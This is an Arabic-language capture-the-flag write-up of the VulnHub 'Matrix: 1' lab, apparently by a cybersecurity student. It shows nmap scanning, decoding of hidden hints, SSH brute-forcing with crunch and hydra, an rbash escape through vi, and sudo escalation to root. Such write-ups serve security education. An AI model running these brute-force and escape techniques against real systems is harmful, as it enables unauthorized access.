وثيقة تقرير فحص أمني (Write-up)

اختراق وتصعيد صلاحيات - Matrix 1

الهدف:	Matrix: 1 (VulnHub)
عنوان الهدف:	`192.168.1.16`
مُعد التقرير:	إبراهيم هشام (Ebrahim Hesham Awd)
المؤسسة الأكاديمية:	جامعة حلوان التكنولوجية الدولية (HITU) - قسم الأمن السيبراني
نطاق العمل:	فحص الصندوق الأسود (Black-Box Penetration Test) للوصول إلى صلاحيات الجذر (Root).

1. الاستطلاع والفحص (Reconnaissance & Enumeration)

بدأت عملية الفحص باستخدام أداة Nmap لاكتشاف المنافذ المفتوحة والخدمات التي تعمل على النظام الهدف لتحديد سطح الهجوم (Attack Surface).

```
sudo nmap -n -sS -sV -sC -p- -T4 192.168.1.16
```

النتائج الأساسية:

- **المنفذ 22 (SSH):** يعمل بإصدار OpenSSH 7.4p1.
- **المنفذ 80 (HTTP):** يعمل بإصدار Apache httpd 2.4.25 (لا يحتوي على معلومات مفيدة - Rabbit Hole).
- **المنفذ 31337 (HTTP):** منفذ ويب غير اعتيادي (Elite port) يعمل بخدمة Apache.

تم توجيه التركيز نحو المنفذ 31337 لبدء مرحلة فحص الويب.

2. استكشاف الويب وفك التشفير (Web Enum & Cryptography)

بالانتقال إلى الرابط `http://192.168.1.16:31337` عبر المتصفح، تم فحص الكود المصدري للصفحة (Page Source)، وتم اكتشاف تعليق مخفي (Hidden Comment) يحتوي على نص مشفر بصيغة Base64:

```
<!-- Q3lwaGVyLm1hdHJpeA== -->
```

بفك تشفير هذا النص، ظهر أمر نظام يوضح وجود ملف مخفي باسم `Cypher.matrix` :

```
echo "Q3lwaGVyLm1hdHJpeA==" | base64 -d # النتيجة: echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
```

بالانتقال إلى مسار الملف المكتشف `http://192.168.1.16:31337/Cypher.matrix` ، تم العثور على نص مكتوب بلغة البرمجة المعقدة (Brainfuck). باستخدام أدوات فك التشفير المتاحة، تم استخراج السلسلة النصية التالية:

```
k1ll0rXX
```

يشير هذا النص إلى نمط كلمة مرور (Password Pattern) يتكون من 8 خانات، حيث الحروف الستة الأولى معروفة، وآخر خانتين (XX) مجهولتان.

▪ 3. توليد القوائم والاختراق العنيف (Wordlist Generation & Brute-Force)

لاستغلال خدمة SSH وتخطي عقبة تسجيل الدخول، تم بناء قائمة كلمات مرور مخصصة تعتمد على النمط المكتشف لتوفير الوقت وتجنب القوائم العشوائية الضخمة.

أولاً: بناء القائمة باستخدام Crunch:

```
crunch 8 8 -t k1ll0r@@ -o custom_pass.txt
```

أنتج هذا الأمر قائمة تحتوي على كافة الاحتمالات الممكنة لـ 8 خانات التي تبدأ بـ `k1ll0r` .

ثانياً: هجوم التخمين باستخدام Hydra:

باستخدام اسم المستخدم الافتراضي `guest` وقائمة كلمات المرور المُولدة، تم تنفيذ هجوم تخمين على المنفذ 22.

```
hydra -l guest -P custom_pass.txt 192.168.1.16 ssh
```

النتيجة: تم كسر كلمة المرور بنجاح وتسجيل الدخول ببيانات الاعتماد `guest:k1ll0r7n` .

▪ 4. الهروب من البيئة المقيدة (Restricted Shell Escape)

عند تسجيل الدخول عبر SSH، تبين أن النظام يضع المستخدم في بيئة مقيدة `rbash` (Restricted Bash)، تمنع استخدام أوامر النظام الأساسية مثل `cd` و `ls` .

تم استخدام الأوامر المدمجة (Built-in commands) لاستكشاف البرامج المسموح بتشغيلها داخل البيئة المقيدة:

```
echo prog/*
```

أظهرت المخرجات أن محرر النصوص `vi` متاح للاستخدام. تم استغلال هذه الصلاحية للهروب من البيئة المقيدة عن طريق فتح `vi` وتمرير أمر لاستدعاء جلسة Bash تفاعلية غير مقيدة:

1. تشغيل المحرر: `vi`
2. إدخال أمر الهروب: `:!/bin/bash`

لضمان عمل كافة أوامر النظام بشكل طبيعي وتحديث مسارات البحث، تم إعادة تعيين متغيرات البيئة (Environment Variables):

```
export SHELL=/bin/bash export PATH=/bin:/usr/bin:$PATH
```

▪ 5. تصعيد الصلاحيات (Privilege Escalation)

بعد الحصول على جلسة مستخدم تفاعلية (Interactive Shell)، تم فحص الصلاحيات المتاحة للمستخدم `guest` لتشغيل برامج بصلاحيات الجذر (Root). باختبار أمر `sudo` مباشرة بعد إصلاح متغيرات البيئة، تبين أن المستخدم يمتلك صلاحيات لترقية جلسته.

```
sudo su # إدخال كلمة المرور: k1ll0r7n
```

بمجرد التحقق، تم الحصول على صلاحيات `root` كاملة على الخادم. كخطوة نهائية لإثبات الاختراق (Proof of Concept)، تم استخراج ملف الهدف النهائي (Flag):

```
cat /root/flag.txt
```